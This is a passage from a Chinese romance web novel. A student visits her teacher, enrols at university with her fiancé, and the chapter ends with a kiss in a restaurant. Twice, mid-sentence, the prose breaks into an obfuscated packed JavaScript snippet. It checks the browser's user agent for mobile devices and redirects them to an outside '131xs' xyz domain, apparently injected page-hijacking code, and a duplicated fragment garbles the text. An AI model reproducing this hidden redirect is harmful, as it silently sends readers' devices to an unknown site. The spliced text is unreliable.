见到老师,姮音连忙从怀里掏出本《诗学杂论》递过去,兴奋道:“老师。您看。” 李青看到是自己新出的书,很是惊讶。她接过书,眼神复杂:“这书局今早才差人告诉我,说昨天刚上架,你这么快就买到啦。” 姮音还没来得及解释,把门关上,走到她身边的阮月眉却笑了出来:“青姐,你这学生还真是喜欢你,拿了书就兴高采烈跑过来了,不过啊,我猜这书,恐怕不是她自己买的。” 姮音承认道:“确实不是我买的。” 想到萧牧河也算是她的表弟,姮音不禁想,难道送书这件事,他们家里人都知道了吗。定亲的事,是不是也都知道了。 阮月眉说:“前些日子,我们家位,每次从司令部回来,都一脸苦相,我还以为出了什么大事,结果他是被萧牧河给缠磨惨了。” 她模仿着丈夫扶额苦恼的模样,说:“哎呀,萧牧河非要我帮忙,列什么中文系的书单子,列了一次嫌不够,又列第二次,第三次还嫌不够多,不够全。我点墨水,都快被榨干了。” 姮音被阮月眉逗笑,弯着眼睛瞧她。 李青听着,掂了掂手里的书,嘴角微微向下撇了撇,似笑非笑:“哦。我说呢,怎么连我这本新家伙都给你搜罗去了,原来是因为他啊。” 阮月眉笑着,走到窗下的单人沙发前坐下,又朝旁边一张空着的沙发看了眼,示意姮音:“姮音妹妹,坐呀。” 两张沙发之间,立着几个书架,塞满了李青平时爱看的书。阮月眉坐的张沙发旁,书架最上层,摆着一个小小的相框,里头嵌着一张黑白照片。 李青又进了厨房忙活,阮月眉接着道:“傅灵毓被他磨得没法子,只得加班加点,把能想到的都列了出来。听说萧牧河拿了单子还不算,又亲自跑了几趟印刷厂边,跟人软磨硬泡,把压箱底的新书旧书都翻了出来,还一个劲儿问人家有没有更详细的,更稀罕的。” 她看向姮音,揶揄道,“我时就猜,他这么上心,十有八九是为了你。” 若不是因为姮音,他一个军校出身的糙人,又不是脑子被夹了,突然对这些文绉绉的东西感兴趣。 姮音有些怕羞:“他没跟我说过这些。” 阮月眉用手指顺了顺搭在肩上的长发,说:“他们这些男人啊,做这些事,多半是不会拿到你面前来说的。只有么几个另类的,才会借机卖卖惨,博老婆的同情。” 姮音听她的语气,像是认识这个“另类”的人。 阮月眉忽然想起什么,转头朝厨房说:“对了,青姐,你要出书,怎么也不提前说一声。要是早告诉我,让傅灵毓去跟教育厅边打个招呼,不是省事多了。” 咕嘟嘟的动静和饭菜香气飘出来。 然后是李青的声音:“打招呼做什么。书印出来,也得凭真本事让人看进去才行。现在这时机,我看正好。” 姮音赞同地点点头。 阮月眉道:“我就猜到你这么说,早知道不问了。” 李青道:“哦,对了,月眉刚知道,姮音,我还没来得及告诉你,华京大学聘我去做教授了,以后,我还能给你上课。” 姮音立刻站起身,快步走到厨房门口,看着里面李青忙碌的背影,由衷地说道:“老师。这真是太好了。恭喜您。这得好好庆祝啊。” 李青把碗拿出来,说道:“是该好好庆祝。等过些日子,阿玉把她家口子哄顺了,咱们再聚齐了,好好热闹一回。” “阿玉?” 李青解释道:“是傅灵毓弟弟的妻子,是他亲弟弟,也是萧牧河的弟弟。两人关系一般,不过月眉和阿玉倒是投缘,常在一处说话。” 姮音心想,原来是傅灵毓的亲弟弟,他们两兄弟结婚还真早。尤其萧牧河已经不算大了,没想到他的表弟比他结婚更早,听老师话里的意思,还不是刚结的婚。 阮月眉接过话来:“可不是么。说起来,萧牧河和傅青琅倒是更亲近些,两人凑一块儿,才叫一个臭味相投。” 姮音好奇地看过去,听阮月眉讲他们兄弟的事。阮月眉继续说:“傅青琅驴脾气,比萧牧河可难缠多了。他总疑心柳老板一个人出门不安全,恨不得时时刻刻跟着,寸步不离。想出来和我们聚聚,她还得先把他头倔驴哄顺溜了才行。” 李青走出来把碗筷摆好,说:“我见过他,脾气,没法说,萧牧河可比他强多了。” 阮月眉点头:“说的太对了。” 李青摇头,继续说:“他点良心,全扑在阿玉身上了。阿玉不在跟前,他就活脱脱一根成了精的枪杆子,谁碰着谁倒霉。” 姮音听着有些畏惧,这么一对比,萧牧河的性格简直能算的上温和了。也怪不得,听起来如此冷酷的人,和看起来风光霁月的傅灵毓性格不合,简直就是一个北一个南。 姮音听得入神,忍不住问道:“老师,您是怎么认识他们的呀。” 李青解下围裙,走到姮音身边坐下:“说来话长。阿玉,名字叫作柳玉声,和我都从金陵女校毕业,是我学妹,上学的时候我们就认识了。” 阮月眉说:“正是呢。后来我和灵毓,也是通过柳老板才结识了青姐。柳老板是金陵人,做玉石生意,认识的人多,路子也广。” 姮音问:“是珠玉楼 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柜子后的年轻伙计戴着手套,小心翼翼地把只玉镯子从玻璃柜里取出来,仔细擦拭,见姮音和王兰走过来,他把玉镯放在一旁铺着软布的盒子里,并不因她们衣着朴素而怠慢。 他说:“二位请随意看。” 王兰没想到这里面看起来如此隆重,恐怕东西贵重,万一带的钱不够,岂不是闹笑话了。姮音干脆直接问:“你们这里首饰价格有便宜些的吗?” 王兰拉了下姮音的手:“别,就算今天不够,要是相中了,咱们明天拿钱来也是一样的。” 伙计说:“我们珠玉楼各种样式,各种价钱的都有,就看太太您想选些什么了,项链,手镯还是耳坠?总能挑到个您满意的,今儿不方便买,挂个条儿,我们也能给您预留的。” 姮音被首饰上的雕花吸引去了,随口说了句什么样的都行,王兰说:“那就挑两对耳坠吧,要雅致些的。” 伙计点头,从柜台下取出几个丝绒托盘,绒布上放着十来对耳坠,有白玉的,翡翠的,珍珠的,玛瑙的,但多数还是玉坠子。 两人脑袋凑在一块,看都看不过来,只能听着伙计热情的讲解慢慢地挑。 姮音最喜欢角落里一对朱红色玛瑙耳坠,很正的朱红色,灯光没照到的时候,是完全不浑浊的暗红,就和刚买回家里的的胭脂似的,细链和玛瑙衔接的地方有一圈小小的金边,王兰拿起来在她耳朵边比了比,也觉得满意。 正瞧着,伙计望向楼梯方向,恭敬地唤了声:“老板。” 姮音也跟着扭头去看。 楼梯上缓缓走下一个人,是个年轻的女子,约莫二十七八年纪,柳眉细眼白肤,她的眼睛最特别,像极了浸在水中的墨琉璃。 她身着墨绿云纱旗袍,是很深的墨绿色,几乎和乌黑没什么分别。简直就是从仕女图里走出的女仙。姮音见过穿旗袍好看的女性,就像阮月眉那样,怎么穿都从容优雅,可是这一位却不一样。 姮音的脑袋里只有两个字,惊羡。 原来这就是珠玉楼的老板。 她走到柜台前,问道:“还适应么?” “都适应,谢谢老板关心。”伙计答道。 北平的珠玉楼开了没几年,店里上到经理下到洒扫的伙计,大多都是用的北平城本地的,他最年轻,才刚到不久,老板这次来视察,特意叮嘱了要多照顾他几分,让他很感动。 她看到两人手中正拿着比对的耳坠,说:“二位眼光真好,这是上好的南红玛瑙,最衬肤色,虽然是正红色,但是也不妨碍小姑娘戴,不会显得老气,可以在镜子前试一试,看看喜不喜欢?” 听她说话简直就是享受,姮音心想,怪不得能拥有这样的老字号,她简直就不像是个商人,而是哪里的大家族出来见世面的,浑身的气质就像是块浑然天成的冷玉,说话却思考不冷,反而周到的很。 王兰问:“这个什么价钱?” 老板微笑着说:“放心,绝对实惠,小姑娘你呢,合不合眼缘?” 她拿起一旁的镜子,撑在掌心,把镜面对准姮音,她左手的无名指上戴着玉戒指,右手腕上两条细镯子滑向小臂。姮音把耳坠比在耳垂下,这点朱红让整个人都明艳了几分,压住了她身上的孩子气,更像是大人了。 女子端详过后,也说不错,王兰看着欢欣,打算买了下来,她又在那托盘跟前打量一番,选了对经典的水滴耳坠。 “给这二位算个公道价。” 老板对伙计道。说罢,她就去看管其他生意了,她看起来不卑不亢,说起话来八面玲珑,让姮音很是羡慕。 伙计去开票,但是店里也没晾着她们,旁边闲着的中年女人走过来,她也穿着珠玉楼的衣裳,看起来更老道些。 王兰说:“她就是珠玉楼的老板啊,真是年轻有为。” 女人说:“我们老板姓柳,以前也是金陵的大户人家,珠玉楼是我们老板家里传下的老字号,前些年战乱,老板早早就接手了,她平时深居简出,多在金陵照料总店,北平这边难得过来一趟的。” 伙计拿着票回来,也说道:“我们老板人很好的,你们和我一样,运气不错。” 姮音心想,她就是喜欢多接触这样优秀的女士,光和她们说说话,就能离她们的优秀再近一点似的。 王兰付了钱,伙计把耳坠包好,还说:“以后要是再想买首饰了,欢迎来我们珠玉楼,若是不买玉首饰,找我们,我们这边也能给您介绍别家的。” 也怪不得人家生意红火。姮音觉得不管多大的生意,一手交钱,一手交货的事,何必趾高气昂的对待客人,又怎么可能长久红火呢。 果然,李青便提到,她会招些家境贫困的工人,也不会平白压榨,战时油水吃紧,柳玉声也绝不会干卸磨杀驴的事,她待人温和有礼,她手下的员工全都仰仗着这位金陵大名鼎鼎的柳老板。 她看着姮音,特意说道:“她是个特别好的人,要是见了你,准保喜欢,就和我一样。” 李青也点头,又想到前几年的事,轻叹道:“是啊,她心善,早些年,还拿自己的钱,帮过不少比你还小的孩子,给他们饭吃,送他们去识字。可惜后来战乱,些孩子大多都没了。” 姮音听着揪心,学校里一些老师私下也议论过,他们说,“哪有么多原因。不过是看些孩子出身贫贱,无依无靠,杀了也就杀了,像碾死蚂蚁一样,谁会替他们喊冤。谁又有本事替他们伸冤。” 她坚定地说:“总有一天,我们会把他们全都赶出去的。” 阮月眉看着她,目光赞许。 生在这片土地,死在这片土地的人,虽然所行之道不同,但归根到底,心都拴在一起。 11. 第十一章 到了饭点,李青说:“正好,饭煮多了些,姮音留下一起吃吧。” 姮音也没客气,留下来和她们俩一起吃饭。三人围坐在小圆桌旁,饭菜简单,但味道很好。 阮月眉坐在对面,吃完后就看着姮音捧着碗,小口小口地喝着温热的米粥,感慨道:“人和人,真是不同,有的人要么一条道走到黑,撞死在南墙上,要么是揣着明白装糊涂。” 两人又聊起了些外面的,也就是姮音不常在学校听到的事。李青会说些大学教授应聘时,几个她只能在报纸上看到的文人学者名字,李青会和这些人谈论很深奥的学术论点,阮月眉虽然也能听懂,可是她对于一些文艺方面的事更为健谈。 但不管是哪,她都觉得新鲜的很。 姮音一边听,一边吃饭,她们讲完后,姮音把碗放下,说:“老师,阮小姐,我还想知道更多的事。你们刚才说的,还有别的,我都想听。我保证,听了就放在心里,不会到处乱讲的。” 李青看着她这认真的模样,忍不住笑了,说:“你呀,真是个机灵的小鬼头。” “姮音啊姮音,月亮的知音。” 念着念着,阮月眉也笑开了,“我真是越瞧你,越觉得喜欢。” 李青佯装不满地说:“这就想独占啦。这是我们的知音。”她又对姮音说,“现在着急讲些事,你一时半会也消化不了,慢慢来吧。” 姮音渴望些东西,想见识更广阔的存在。 饭后,碗碟撤下,三人又坐在客厅聊了许久。从学校里早已推行的民主与科学,渐渐转向了这些年北平学界泛起的新思潮。 对姮音而言,有一些并不全然陌生,偶尔能瞥见,却又讳莫如深。有的是在严查之后,才成了禁忌,只能在暗地里流传,对姮音来说,自然算得上是新潮。聊到兴起,和萧牧河定亲的事早被她抛到脑后了。 但是些禁忌的事,李青没有对姮音详细展开,但姮音想要了解的主观意愿非常强烈。 阮月眉对姮音说:“孩子总是对各种事都好奇又大胆,可是李青是老师,她有她身份的顾忌,你不是马上开学了,学校里活动很多的,你到时候了解了解,再决定要不要听你老是讲。” 李青说:“先学正经的课,别着急。” 姮音乖巧点头。 渐黄昏。 阮月眉也会提一两句自己的先生傅灵毓,但一笔带过。姮音只知道她和师哥是娃娃亲,从小青梅竹马的情谊,到了年纪就结婚了,和现在所说的新式恋爱相悖。 但是两人相处的样子,却比恋爱还要像热恋中的青年男女,大概是因为两人都接受了良好的教育。 姮音心想,谁会不爱阮女士呢,她自信,健谈,思维活络,三两句都可以让大家兴致盎然,对自己说的话感兴趣,听了也觉得有趣,还想再多听一些,反而让李青显得内敛文静了。 几人聊得开心,最后李青又回归正题,特意对姮音说:“理论很重要,但是不管是个好,还是这个坏,都不要被理论束缚,停留在书本,因为最终目的是找到出路,路要修,要建,要踩上去看看行不行得通。” 阮月眉和李青所想一样,她说:“我们只是知道,告诉你,让你思考,如果让你盲信就是害人了。” 虽然她们说时间还久,可是姮音心里还急迫,只能努力变得耐心,等待开学后参加华京大学的学生活动。 阮月眉抬起手腕,看了一眼小巧的腕表,轻轻呀了声:“时候不早了。” 她起身看了眼窗外,一辆熟悉的黑色轿车正好驶过来停在路边。她拿起搭在沙发扶手上的女士包,对李青和姮音笑了笑:“灵毓来接我了。我先走了,改日再聚。” 她们起身要送她下去,阮月眉却拒绝了:“送什么,眨眼的功夫,我走啦,你们好生坐着就行。” 李青冲她摆摆手。 穿着白色洋装的女子离开,公寓里一时安静,她这才想起自己的心事,犹豫片刻,姮音还是说了出来:“老师,我大概要和萧牧河定亲了。” 李青听了,并没有惊讶,只是说:“我瞧着,你啊纵然还有些懵懂,却也并非全无心意。”她想了想,还是作为过来人,安抚了姮音几句,“他人,行事或许强硬些,但并不迂腐古板,你只管安心读你的书,走你想走的路便是。” “嗯,我明白了。” 姮音心中欢喜,老师一句话,比媒婆说十句还要管用。老师说能安心,就证明这门婚事肯定是靠谱的,起码比自己漫无边际的幻想和担心要靠谱。 思索着婚事,姮音仍坐在窗下张单人沙发里,不经意抬头,看到了旁边书架上的照片。 方才阮月眉坐在这里时,她没仔细看,此刻才看清,书架顶层的照片里是一对年轻男女,其中的女青年就是老师。 李青穿着旗袍,还留着短发,她身旁站着一位穿大衣的男人,气质儒雅,两人站的很近,肩膀贴在一起,都浅笑着看向镜头。 李青也看向张照片,说:“是我先生,他是个军医。” 姮音讶异,轻声问:“以前没听老师您提起过。” 李青似乎想起了一些往事,目光投向远方,“我们志趣相投,走到了一起。他救他的人,我教我的书,各有各的路,不过他运气不好,在战场上救治伤员的时候,遇上了轰炸。” 这是姮音始料未及的,她感到很抱歉,“对不起,老师。” 李青的目光落下来,看着她,脸上却并无悲戚,“没什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389868|184236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么。人就是这样,生死无常。” 看着老师这般释然的样子,姮音心里反而生出奇异的勇气,或许她不应该对未来么犹疑。 媒婆上门天,特意穿了件崭新的衣裳,从头到脚都冒着喜气。 一上来,她就说:“我就猜着了,您这两家能结下这门亲事,我这双火眼金睛,可是出了名了的。” 王兰和姮音加起来,都没她高兴,只能在一旁倒茶,接话,反而像置身事外了。 寒暄完后,她又把萧家如何显赫,如何门第高悬,细细说了一遍,“你们怕是还不晓得,萧少爷的爹,正是金陵城里头的萧总司令,叫司令的多了去了,总司令可就这么一位,可顶了天的大人物。” 王兰诚惶诚恐地听着,媒婆特意说了,以后两家就是亲家了,该高兴才是。 她本来还担心这门第是不是有些太高了,但又想到萧牧河对姮音的态度,她的担心又松懈了些。媒婆是个很上道的人,她还提到说:“司令听说亲事定了,欢喜得很,特意在金陵请了顶有名的先生写了婚帖,正往北平送呢。” 姮音坐在母亲身边,忽然觉得这媒婆实在厉害,竟能攀上这样的人家,不管她愿不愿意,这门路就够吓人的。 媒婆说得十分开心,一会儿说萧家如何满意姮音的品貌学识,一会儿又说萧司令夫人如何盼着早日抱孙子。 姮音从她些七零八碎的话里,拼凑出一个她没有讲出的事实。萧牧河过去大约是油盐不进,拒绝过无数次提亲,所以这次只要女方家世清白,人品过得去,他父母便已是谢天谢地,别无他求。 可媒婆把所有人都提了个遍,却始终没提萧牧河本人。 姮音的心不上不下,她忍不住开口,问媒婆:“萧牧河呢。”话一出口,她自己也有些茫然,不知该具体想问什么。 媒婆哎呦一声,说:“我的小姐。位爷啊,前几日就出城去了,听说是赶着夜色,带了人马,从城南走的,要干大事呀这是,什么时候回来,可说不准。” 原来他是有事,怪不得是家里定下来的。 说起萧牧河出城,媒婆叹了口气,感慨道:“您瞧瞧,司令家的少爷,不也得亲自去拼命。这世道啊。” 婚帖还在路上,消息却不胫而走。左邻右舍,认识的不认识的,都提着点心水果上门道贺。门槛都要被踏平,屋里整日闹哄哄的,都是道喜声。 就连位不欢而散的陈景生,也特意登门,拱手说着恭喜,完全看不出被萧牧河气得脸色发青的模样。 姮音被家里的吵闹搅得心烦意乱。她早早出门,街上闲逛,有时会不知不觉绕到萧牧河住的条街。远远望着扇紧闭的大门,猜测着他是否已经回来,可是姮音却没有偶遇他。 12. 第十二章 再次见到萧牧河,是在开学这天。 姮音换上了早就置办好的校服,月白色上衫,深蓝的长裙,头发梳成两条辫子,提着书袋,看着比上女校的时候成熟些许,像个大人了。因为是走读,来去方便,她就没让妈妈送自己。 她检查着书袋里,入学要用的各种证明和用红纸仔细包好的学费,学费要是没带够的话,还得再回来拿,麻烦的很。 走出家门,萧牧河正斜倚在门边的墙上。 萧牧河一身少爷打扮,装作风流倜傥的样子,倚在门边的墙上。但是姮音向来观察得很仔细,他脸上是掩饰不住的倦色,眼底有淡淡的青影,下巴刮得干净,可胡茬还是有些青。 只是眼里看着高兴,才有些精神头。 他说:“开学,我送你,我开车来的。” 萧牧河本以为姮音会像往常样羞怯,立刻拒绝或找借口推脱。可是出乎他的意料,姮音点点头,走到他身边,她盯着脚尖,脑袋都要埋进衣服里。 萧牧河大喜过望,人傻了,强装出的潇洒也绷不住了,嘴角咧开一个笑,抬手挠了挠后脑勺。虽然不知道为什么自己只是出去几天,她忽然对自己亲近许多。但他才想不了么多,赶紧带她走到巷口,给她把车门打开,让她坐进去。 因为开车很快,所以能肯定不用担心延误上午的行程。到了学校后,因为校门外已经有人群,所以车停在外围。 校门口人头攒动,热闹非凡。很多的是和姮音一样穿着白衫长裙或者是蓝布长衫的学生,三三两两聚在一起,走向华京大学敞开的大门。很多学长学姐都在校园里,给人们指路,或者给新生讲流程,或者搬搬东西之类的。 姮音打算先去报到,缴费,选课,剩余时间再去校园里逛一逛。她推开车门,背上书袋,对车里的萧牧河说:“谢谢你送我过来。这边人多,我自己进去就行,你有事就去忙吧。” 萧牧河却已从另一边下了车,走到她身边,说:“来都来了,一起吧。” 姮音没有拒绝,他们一起走到校园里,有的举着写有系别名称的木牌,方便新生辨认,还有几个学生,走到临时搭起的凉棚底下,坐在了长条桌后面,大约是给某个社团招新呢。 公告栏前也挤满了人,上面贴着各色纸张,有社团招新启事,还有教授讲座通知和学生会的倡议书。各式各样,应有尽有。 高年级的学生们臂上戴着袖章,站在一处大楼前,喊着:“新生这边走,先去注册部报到。” 萧牧河听见了,说:“开学头几天,事儿都挤在一块儿,注册部领学生证,缴费处交学费,这两处人最多,排起队来没完没了。” 姮音把这天要做的流程记牢了,但却没特意去记排队这种事,可是萧牧河却非常自然地说:“我们分开办,省时间。我去缴费处,你去注册部拿学生证。” 姮音有些讶异:“你怎么知道得这么清楚。是傅师兄告诉你的。” 萧牧河说了和姮音一样的话:“你怎么知道的。”他很快反应过来,又说,“啊,对了,你老师是李青,肯定是她们告诉你的。” 姮音说:“谢谢你。” 萧牧河却说:“这是我应该做的。” 姮音把钱塞到萧牧河口袋,萧牧河本来想说自己准备了钱,可是看她塞东西的动作,莫名觉得可爱,一时忘了说话。 等到她离开,萧牧河才回过神,朝另一边走。心里不禁好奇,为什么她对自己这么好,难道姮音是喜欢自己了,这可真是天大的好事。萧牧河美滋滋地朝财政部走。 姮音拿着录取通知书和学历证明,走进大楼,站在注册部窗口前的长队里。队伍移动缓慢,她一点点往前挪,走神走到萧牧河身上。 她在想,萧牧河知道定亲的事了吗。不知道的话,他为什么这么主动,好像把一切事都安排好了。可若是知道了,为何又只字不提,明明他么开心地说过,要娶她这种话,难道只是情急之下随便说的吗。或许不是每个刚定下婚事的未婚夫都么激动,萧牧河就是个很淡然的人。 姮音领了学生证,一张纸片,印着名字和学号,她仔细瞧了瞧,在上面亲了一口,塞进书袋里。 走出大楼,她想起缴费处边,不知是否需要出示学生证,或者什么别的证明,她赶紧往东头的财政楼快步走去。 财政楼里比注册部更拥挤,姮音踮起脚,边走边用目光在人群里搜寻,好一会儿才在一条长长的队伍里看到萧牧河。 他在队伍中段,队伍挪动缓慢,前面还有好几个人。萧牧河松松垮垮站着,微微侧着头,从背影就能看出他身上的倦怠。时不时抬手掩住嘴,打个哈欠,蹭蹭眼角,也不知道他是困的,还是因为无聊。 姮音穿过人群朝他走去。刚靠近,萧牧河身后一个梳着齐耳短发,模样娇小的女学生便警惕地转过头,对姮音说:“哎。这位同学,排队在后面呢。” 姮音赶紧解释:“不是的,他帮我排着呢。” 萧牧河听到姮音的声音,立刻转过头,方才的困倦一扫而空,眼睛瞬间亮了起来。 他说:“你来啦。” 姮音说:“我拿到学生证了,怕你缺什么别的,就赶紧过来了,看来我来的还不算晚。” “一学期缴费一次,人多正常。” 姮音自愧弗如:“你懂的比我多。” 本想说自己排队吧,可是萧牧河已经接过了姮音的书袋,只是姮音觉得,自己的布书袋和他这身制作精良,剪裁合身的西装总有种说不上来的违和。可萧牧河才不觉得,他骄傲地扬起了下巴,大概是在因为姮音的话而感到得意。没白问傅灵毓,这太值了。 短发女孩也知道自己是误会姮音了,连声道:“对不起对不起,是我太着急了,我看他不穿校服,还以为是”是哪个任性的公子哥,家里豪横,所以才不穿校服呢,完全看不出来是家属的样子。 她没说完,大约是觉得当面议论人不太好,不好意思地笑了笑。 姮音说:“没关系的。” 她又热情地问姮音:“你是哪个系的呀。” “中文系。”姮音答道。 女孩惊喜地说:“我也是中文系的,我是二年级生,你是新生吧。” 姮音点头:“嗯,一年级新生,我叫东方姮音。” “东方姮音。这名字真好听。”女孩简直要跳起来,“我叫许笛,这真是缘分啊,来来来,快站到我旁边来。” 她说着,就把姮音拉到自己身边。 萧牧河眼睁睁看着姮音被许笛热情地拽过去,自己却被晾在了一边。他半转过身,看着姮音,恨不得把委屈写了满脸,“我等了好久了呢。” 许笛这才注意到他,好奇地问姮音:“这位是你哥哥。” 姮音的脸颊微微泛红,轻轻摇了摇头,却没说话。 许笛恍然大悟似的哦了一声,连连点头:“懂了懂了。我都懂了。你不用多说。”她一副心照不宣的样子,还朝姮音使了个颜色。 萧牧河站在一旁,看着两个女孩瞬间熟络起来,真就把自己撇在一边,忍不住低声道:“姮音,你理理我啊。” 他这闷闷的声音,简直是撒娇似的,搞得姮音很腼腆,慌忙道:“说着呢,说着呢,你别着急。” 许笛见状,抿嘴一笑,立刻识趣地扭过头去,装模作样地踮起脚,伸长脖子四处张望,嘴里还煞有其事地念叨着:“咦。我堂姐呢。刚才还看见的,跑哪儿去了。” 萧牧河趁机伸出手,轻轻握住姮音的手腕,将她往自己身边带了带。 他微微俯身,凑近她耳边,声音压低了些,哄劝道:“瞧你忙活一早上了,楼道边有长椅,去坐会儿歇歇脚。” 姮音说:“我和你一起吧。” “好吧,等会儿晌午,我带你去学校附近新开的吉祥楼吃顿好的,听说儿师傅手艺不错。” “不用了,我回家吃就好。” 萧牧河和姮音商量着说:“就叫上婶婶一起。不过我建议你还是算了吧,下午还有开学典礼和老师见面会,这两个就够忙了,可是不止这点事呢,跑来跑去怕你赶不及。” 姮音被他这左一句右一句堵得没了主意,只觉得再推拒下去更显矫情,只得妥协道:“就在学校食堂吃吧。” 萧牧河听了,沮丧道:“我刚从外面回来,累得很,就想吃点顺口的。”他看着她,恳切道,“好不容易能歇口气,让我吃顿好的呗。” 他确实是一副风尘仆仆的模样,还一直打哈欠,行军在外肯定会很忙。她心头一软,点了点头:“是我考虑不周了,就依你吧。” 萧牧河闻言,脸上点委屈瞬间烟消云散,嘴角咧开一个明朗的笑容,仿佛连眼底的倦色都被这笑意冲淡了几分。 两人缴完费,走出财政楼,身后便传来呼唤:“姮音,等等我。” 回头一看,是许笛小跑着追了上来。 她跑到姮音面前,热情道:“以后咱们可就是同系的师姐妹啦,要多来往啊,我是天津人,住校的,就在中文系女生宿舍边。你要找我玩,随时过来。” 她的笑脸很真诚,姮音看着也觉得心里开心,点头道:“好,我一定会找你。” 许笛边走边开心地朝她挥挥手,“我堂姐在儿等我呢。我先走啦。改天找你。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389869|184236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 说完,便转身小跑向树下站着的位穿着朱红旗袍的短发女子。两人汇合,低声交谈了几句,便亲昵地挽着手臂,并肩离开了。 晌午之前,还有一些时间,姮音和萧牧河顺便查了课程表,在中国文学史概要后面看到了李青的名字,能在华京大学做老师,都是有很高学术造诣的,她就知道李青最好了。 她们顺道去文科大楼领了选课单子,姮音埋头填着,相应的书籍萧牧河早就给她买好了,但是还需要自行去购买讲义。萧牧河在一旁道:“要现买也来得及,就是人多。” 姮音叹气:“就走吧,反正早晚得买。” 两个人又跑去买讲义,学校旁有专门的书社,能买到各种讲义。 但姮音很快就发现自己实在是低估了学生们的抢购热情,几家书社挨着,家家门口都挤满了学生,热闹得赶上火神庙的庙会了。 姮音和萧牧河挤进人群,一家家问过去,不是这本缺货,就是本卖光了。连跑了三家,才凑齐了上课要用的讲义。 姮音把讲义塞进书袋,对萧牧河道:“今天真是辛苦你了,够义气。” 萧牧河对她的友好评价非常满意。 一个来回下来,本来体力不是强项的姮音有些累,而在外奔波多天的萧牧河也没好到哪去。两人去了离学校不远的吉祥楼,挑了个雅间,对着满桌香喷喷的菜肴,都快提不起劲,吃了几口,便觉眼皮发沉,恨不得直接躺在椅子上睡一觉。 吃完后,吉祥楼的伙计撤了碗碟,端上一壶好茶。 姮音和萧牧河挎着肩膀,两眼发愣。萧牧河给姮音倒了一杯,给自己倒了一杯,事了他还晃了晃,示意姮音碰一杯。 姮音正一手撑着脑壳,另一只手搭在桌沿,见他邀请,便也拿起茶杯,像碰酒杯样,轻轻撞了一下他的杯沿,瓷杯相触,叮的一声轻响,喝完又不约而同笑起来。 姮音放松地撑着脸,两条腿在桌下随意地伸开,说一声好茶好茶。萧牧河余光看到她晃悠着撞在一起的脚尖,觉得她真的很可爱。 “如果我能娶你就好了。” 萧牧河忽然说。 说完觉得唐突,用力搓了搓脸,道歉:“我胡说的,没经脑子。她听一听就算了,别进心里去。” 姮音这才反应过来,原来他真的不知道定亲的事。她哈哈笑起来,声音越来越大,最后干脆趴在桌子上大笑,连话都说不出来。 萧牧河莫名其妙,起身坐在她身边追问姮音:“你笑什么。有什么我不知道的事吗。别瞒着我啊。” 姮音笑得没力气,趴在桌上,一只手伸出来胡乱地摆了摆,示意他别问了。萧牧河哪里肯罢休,握住她的手腕,俯下身,竟将头探到了桌子底下,从下往上,想看清她埋在臂弯里的脸。 萧牧河看到她的明媚的笑,晃悠悠的发丝,洁白的牙齿。为什么。为什么看到另一个人开心地笑,哪怕不知道原因,都会觉得好开心,好像有什么天大的好事降临在自己身上。为什么自己的心跳得样快,好像就要从身体里跑出去,跑到她身上。 姮音起了点顽皮心思,她揉了揉笑出泪花的眼角,笑着问萧牧河:“我就是想问问你呀,你看,你又是给我送书,又是帮我排队缴费,对我这么好。万一我转头喜欢上别人了,你怎么办。会不会很生气。是不是觉得特别冤。” 两人本就挨得近,说话的时候气息扑上来,茶香拂过面颊。 萧牧河已经忘了心跳。 两人离得很近,萧牧河不由自主地盯着她莹润的嘴唇,人在惊恐的时候嘴唇没有血色,人在开心的时候,嘴角是向上的,没有笑却又像似笑非笑。他忽然想起天她捧着杯子喝水,白皙的手指蹭去水珠。 萧牧河握着姮音的手渐渐收紧,姮音歪头,他凑近,鼻尖差点碰到她的额头,姮音上半身往后仰,却因为被握着手没法躲得太远,他说:“我有个办法。” 姮音问:“什么办法。” 萧牧河垂眼看向她的嘴唇,握着她的手把她拉近,低头吻了上去。 柔软的茶香。 是一个温和的触碰。姮音能感觉到有一点温热掠过下唇,她的后脑勺轰的一下炸开,好像所有感官都褪色黯淡,整个身体都只剩下嘴巴还有知觉。 对姮音来说,吻这个事太陌生了,不比他无师自通,她明明睁着眼,却唯独看到一样东西,就是萧牧河眼中挣扎的情欲,最后团欲望变得温顺,好像野兽垂下了脑袋,缩成一个毛茸茸的球,安顿在他的身体里,回归平静。 萧牧河微微错开,仍然若即若离,气息交缠。他在她的唇畔呢喃:“现在你是我的了,你没法逃了。” 13. 第十三章 他扣住她的肩膀,望进她迷蒙的眼睛里,又追了上去,姮音别开脸,虚虚靠在他的肩膀,说:“别,等等,我快呼吸不过来了。” 萧牧河松了力道,粗糙的大手在她颤抖的脊背上轻轻顺了顺,手心能感觉到她打了个激灵,低声道:“我还以为你会骂我呢。” 姮音细弱的声音从他肩头传来:“我确实想骂你,可是” 可是她们已经定亲了。 虽然萧牧河还不知道。 萧牧河却将她的反应当作了对自己的承认,完全沉浸在姮音很可能喜欢自己的喜悦中,他自得道:“我就知道你喜欢我。” 姮音没了声音,想从他怀里退开,却还被萧牧河拽着手腕。她往旁边坐了坐,抹了抹嘴唇,觉得上面好像爬了小虫子,痒的厉害。萧牧河赶紧拉住她,说:“再揉一会该肿了,外面的人可就都要知道我们刚才干什么了。” 姮音自欺欺人:“什么都没干。” 说罢就拿起书袋,趁着他笑,姮音挣开她的手臂站起身,说:“我去付钱。” 萧牧河也立刻跟着站起来,伸手虚拦了一下:“早就付过了。” 